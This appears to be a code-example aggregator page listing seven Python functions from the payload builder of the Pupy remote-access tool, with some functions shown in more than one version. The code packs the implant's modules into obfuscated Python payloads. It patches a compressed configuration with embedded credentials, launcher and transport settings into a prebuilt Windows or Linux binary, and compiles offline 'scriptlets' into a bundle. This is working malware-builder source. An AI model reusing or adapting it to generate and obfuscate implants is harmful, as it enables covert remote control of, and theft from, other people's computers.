Ejemplo n.º 1
0
def pack_py_payload(display, conf, debug=False, autostart=True):
    display(Success('Generating PY payload ...'))

    stdlib = dependencies.importer((
        'pyasn1',
        'rsa',
        'pyaes',
        'netaddr',
        'tinyec',
        'umsgpack',
        'poster',
        'win_inet_pton',
        'http_parser',
        'urllib_auth',
    ),
                                   ignore_native=True,
                                   as_dict=True)

    stdlib.update(
        dependencies.importer(('network', 'pupy'), path=ROOT, as_dict=True))

    payload = dependencies.bootstrap(stdlib, conf, autostart) + '\n'

    if debug:
        return payload

    return compress_encode_obfs(payload, main=True)
Ejemplo n.º 2
0
def get_edit_binary(display, path, conf, compressed_config=True, debug=False):
    logger.debug("generating binary %s with conf: %s" % (path, conf))

    binary = b""
    with open(path, 'rb') as f:
        binary = f.read()
    i = 0
    offsets = []
    while True:
        i = binary.find("####---PUPY_CONFIG_COMES_HERE---####\n", i + 1)
        if i == -1:
            break
        offsets.append(i)

    if not offsets:
        raise Exception(
            "Error: the offset to edit the config have not been found")
    elif len(offsets) > 1:
        raise Exception(
            "Error: multiple offsets to edit the config have been found")

    config = get_raw_conf(display, conf)
    pupylib = dependencies.importer(('network', 'pupy'),
                                    path=ROOT,
                                    as_dict=True)

    new_conf = marshal.dumps([config, pupylib])

    logger.debug('First marshalled bytes: %s (total=%d)',
                 ' '.join('{:02x}'.format(ord(c)) for c in new_conf[:64]),
                 len(new_conf))

    uncompressed = len(new_conf)
    if compressed_config:
        new_conf = pylzma.compress(new_conf)

    compressed = len(new_conf)
    new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
    new_conf_len = len(new_conf)

    if new_conf_len > HARDCODED_CONF_SIZE:
        raise Exception(
            'Error: config or offline script too long ({}/{} bytes)'
            'You need to recompile the dll with a bigger buffer'.format(
                new_conf_len, HARDCODED_CONF_SIZE))

    new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE - new_conf_len)

    logger.debug('Free space: %d', HARDCODED_CONF_SIZE - new_conf_len)

    offset = offsets[0]
    binary = binary[0:offset] + new_conf + binary[offset +
                                                  HARDCODED_CONF_SIZE:]

    if binary[:2] == 'MZ':
        pe = pefile.PE(data=binary, fast_load=True)
        pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()
        binary = pe.write()

    return binary
Ejemplo n.º 3
0
def pack_py_payload(display, conf, debug=False):
    display(Success('Generating PY payload ...'))
    fullpayload = []

    with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f:
        pupyimportercode = f.read()

    fullpayload.append('\n'.join([
        dependencies.loader(pupyimportercode, 'pupyimporter'),
        'import pupyimporter', 'pupyimporter.install(debug={})'.format(
            repr(debug if debug is not None else False)),
        dependencies.importer('network', path=ROOT),
        dependencies.importer(('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec',
                               'umsgpack', 'poster', 'win_inet_pton'))
    ]) + '\n')

    with open(os.path.join(ROOT, 'pp.py')) as f:
        code = f.read()

    code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*',
                  conf.replace('\\', '\\\\'), code)

    if debug:
        fullpayload = [
            'import logging', 'logging.basicConfig()',
            'logging.getLogger().setLevel(logging.DEBUG)'
        ] + fullpayload

    fullpayload.append(code + '\n')

    payload = '\n'.join(fullpayload) + '\n'

    if debug:
        return payload

    return compress_encode_obfs(payload, main=True)
Ejemplo n.º 4
0
    def pack(self):
        fullpayload = []

        requirements = set()

        for scriptlet in self.scriptlets:
            if type(scriptlet.dependencies) == dict:
                for dependency in scriptlet.dependencies.get('all', []):
                    requirements.add(dependency)

                for dependency in scriptlet.dependencies.get(self.os, []):
                    requirements.add(dependency)
            else:
                for dependency in scriptlet.dependencies:
                    requirements.add(dependency)

        if requirements:
            try:
                fullpayload += [
                    'import pupyimporter',
                    dependencies.importer(requirements, os=self.os)
                ]
            except dependencies.NotFoundError, e:
                raise ImportError('Module "{}" not found'.format(e))
Ejemplo n.º 5
0
    def pack(self):
        compiler = AstCompiler()

        requirements = set()

        for scriptlet in self.scriptlets:
            if type(scriptlet.dependencies) == dict:
                for dependency in scriptlet.dependencies.get('all', []):
                    requirements.add(dependency)

                for dependency in scriptlet.dependencies.get(self.os, []):
                    requirements.add(dependency)
            else:
                for dependency in scriptlet.dependencies:
                    requirements.add(dependency)

        if requirements:
            compiler.add_ast(
                parse('\n'.join([
                    'import pupyimporter',
                    dependencies.importer(requirements, os=self.os)
                ]) + '\n'))

        for scriptlet, kwargs in self.scriptlets.iteritems():
            template = WRAPPING_TEMPLATE.format(scriptlet=scriptlet.name)

            # Select part with proper OS if any
            # Should be top-level if statement if string test

            while True:
                os_selection_idx = None

                for idx, item in enumerate(scriptlet.ast.body):
                    if not (type(item) == If and type(item.test) == Str and \
                      item.test.s.startswith('__os:') and item.test.s.endswith('__')):
                        continue

                    os_selection_idx = idx
                    break

                if os_selection_idx is None:
                    break

                new_body = select_body_by_os(
                    scriptlet.ast.body[os_selection_idx], self.os)

                scriptlet.ast.body = \
                  scriptlet.ast.body[:os_selection_idx] + \
                  new_body + scriptlet.ast.body[os_selection_idx+1:]

            # Bind args
            # There should be top level function main

            main_found = False
            shadow_kwargs = {'logger', 'pupy'}

            for item in scriptlet.ast.body:
                if not (type(item) == FunctionDef and item.name == 'main'):
                    continue

                main_found = True
                lineno = 0
                col_offset = 0

                item.name = scriptlet.name + '_main'
                for idx, (arg, value) in enumerate(
                        zip(item.args.args, item.args.defaults)):
                    lineno = value.lineno
                    col_offset = value.col_offset
                    vtype = type(value)

                    if arg.id in shadow_kwargs:
                        shadow_kwargs.remove(arg.id)
                    elif arg.id in kwargs:
                        default = kwargs[arg.id]
                        if vtype == Num:
                            if type(default) not in (int, long):
                                default = str_to_int(default)

                            value.n = default
                        elif vtype == Str:
                            if type(default) not in (str, unicode):
                                default = str(default)
                            value.s = default
                        elif vtype == Name:
                            if value.id in ('True', 'False'):
                                if default.lower() in ('true', 'yes', 'on',
                                                       '1'):
                                    value.id = 'True'
                                elif default.lower() in ('false', 'no', 'off',
                                                         '0'):
                                    value.id = 'False'
                                else:
                                    raise ValueError(
                                        'Expect True/False value for {}'.
                                        format(arg.id))
                            else:
                                new_value = None
                                try:
                                    new_value = Num(str_to_int(default))
                                except ValueError:
                                    new_value = Str(default)

                                new_value.lineno = value.lineno
                                new_value.col_offset = value.col_offset

                                item.args.defaults[idx] = new_value

                    elif vtype == Str and value.s.startswith(
                            '__global:') and value.s.endswith('__'):
                        global_name = value.s[9:-2]
                        global_ref = Name(global_name, Load())
                        global_ref.lineno = value.lineno
                        global_ref.col_offset = value.col_offset
                        item.args.defaults[idx] = global_ref

                for idx, shadow_kwarg in enumerate(shadow_kwargs):
                    shadow_name = Name(shadow_kwarg, Param())
                    shadow_name.lineno = lineno
                    shadow_name.col_offset = col_offset + (idx * 16)
                    item.args.args.append(shadow_name)

                    shadow_value = Name('None', Load())
                    shadow_value.lineno = lineno
                    shadow_value.col_offset = col_offset + (idx * 16) + 7
                    item.args.defaults.append(shadow_value)

                break

            if not main_found:
                raise ValueError('Scriptlet {} - Invalid source code. '
                                 '"def main():" not found'.format(
                                     scriptlet.name))

            placeholder_idx = None

            # Wrap in try/except, and other things
            template_ast = parse(template)
            for item in template_ast.body:
                if not (type(item) == FunctionDef and item.name
                        == '__{}_closure__'.format(scriptlet.name)):
                    continue

                assert (len(item.body) == 1
                        and type(item.body[0]) == TryExcept)

                closure = item.body[0]

                for idx, payload in enumerate(closure.body):
                    if type(payload) is not Expr:
                        continue

                    if type(payload.value
                            ) is Str and payload.value.s == 'PLACEHOLDER':
                        placeholder_idx = idx
                        break

                assert (placeholder_idx is not None)

                closure.body = closure.body[:placeholder_idx] + scriptlet.ast.body + \
                  closure.body[placeholder_idx+1:]

                break

            if placeholder_idx is None:
                raise ValueError(
                    'Template placeholder not found. Fill the bug report')

            compiler.add_ast(template_ast)

        return compiler.compile('sbundle', raw=True)
Ejemplo n.º 6
0
def get_raw_conf(conf, obfuscate=False, verbose=False):

    credentials = Credentials(role='client')

    if not "offline_script" in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]

    obf_func=lambda x:x
    if obfuscate:
        obf_func=compress_encode_obfs

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.get_transport()
    transports_list = []

    if transport:
        transports_list = [ transport ]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)
    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    print colorize("[+] ", "green") + 'Required credentials (found):\n{}'.format(
        colorize("[+] ", "green") + ', '.join(available))

    if not_available:
        print colorize("[-] ", "red") + 'Required credentials (not found):\n{}'.format(
            colorize("[-] ", "red") + ', '.join(not_available))

    embedded_credentials = '\n'.join([
        '{}={}'.format(credential, repr(credentials[credential])) \
        for credential in required_credentials if credentials[credential] is not None
    ])+'\n'

    if verbose:
        for k, v in conf.iteritems():
            if k in ('offline_script'):
                continue

            print colorize("[C] {}: {}".format(k, v), "yellow")

    config = '\n'.join([
        'pupyimporter.pupy_add_package({})'.format(
            repr(cPickle.dumps({
                'pupy_credentials.pye' :
                bytes(pupycompile(embedded_credentials, obfuscate=True))
            }))),
        dependencies.importer(set(
            'network.transports.{}'.format(transport) for transport in transports_list
        ), path=ROOT),
        'import sys',
        'sys.modules.pop("network.conf")',
        'import network.conf',
        'LAUNCHER={}'.format(repr(conf['launcher'])),
        'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
        'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
        'pupy.cid = CONFIGURATION_CID',
        'debug={}'.format(bool(conf.get('debug', False))),
        offline_script
    ])

    return obf_func(config)
Ejemplo n.º 7
0
def get_raw_conf(display, conf, obfuscate=False, verbose=False):

    credentials = Credentials(role='client')

    if "offline_script" not in conf:
        offline_script=""
    else:
        offline_script=conf["offline_script"]

    launcher = launchers[conf['launcher']]()
    launcher.parse_args(conf['launcher_args'])

    required_credentials = set(launcher.credentials) \
      if hasattr(launcher, 'credentials') else set([])

    transport = launcher.get_transport()
    transports_list = []

    if transport:
        transports_list = [transport]
        if transports[transport].credentials:
            for name in transports[transport].credentials:
                required_credentials.add(name)
    elif not transport:
        for n, t in transports.iteritems():
            transports_list.append(n)

            if t.credentials:
                for name in t.credentials:
                    required_credentials.add(name)

    available = []
    not_available = []

    for cred in required_credentials:
        if credentials[cred]:
            available.append(cred)
        else:
            not_available.append(cred)

    display(
        List(available, bullet=Color('+', 'green'),
        caption=Success('Required credentials (found)')))

    if not_available:
        display(
            List(not_available, bullet=Color('-', 'red'),
            caption=Error('Required credentials (not found)')))

    embedded_credentials = '\n'.join([
        '{}={}'.format(credential, repr(credentials[credential])) \
        for credential in required_credentials if credentials[credential] is not None
    ])+'\n'

    if verbose:
        config_table = [{
            'KEY': k, 'VALUE': 'PRESENT' if (k in ('offline_script') and v) else (
                unicode(v) if type(v) not in (tuple,list,set) else ' '.join(
                    unicode(x) for x in v))
        } for k,v in conf.iteritems() if v]

        display(Table(config_table, ['KEY', 'VALUE'], Color('Configuration', 'yellow'), vspace=1))

    config = '\n'.join([
        'pupyimporter.pupy_add_package({})'.format(
            repr(cPickle.dumps({
                'pupy_credentials.pye':
                bytes(pupycompile(embedded_credentials, obfuscate=True))
            }))),
        dependencies.importer(set(
            'network.transports.{}'.format(transport) for transport in transports_list
        ), path=ROOT),
        'import sys',
        'sys.modules.pop("network.conf", "")',
        'import network.conf',
        'LAUNCHER={}'.format(repr(conf['launcher'])),
        'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
        'CONFIGURATION_CID={}'.format(conf.get('cid', 0x31338)),
        'DELAYS={}'.format(repr(conf.get('delays', [
            (10, 5, 10), (50, 30, 50), (-1, 150, 300)]))),
        'pupy.cid = CONFIGURATION_CID',
        'debug={}'.format(bool(conf.get('debug', False))),
        'SCRIPTLETS={}'.format(repr(offline_script) if offline_script else '""')
    ])

    return compress_encode_obfs(config) if obfuscate else config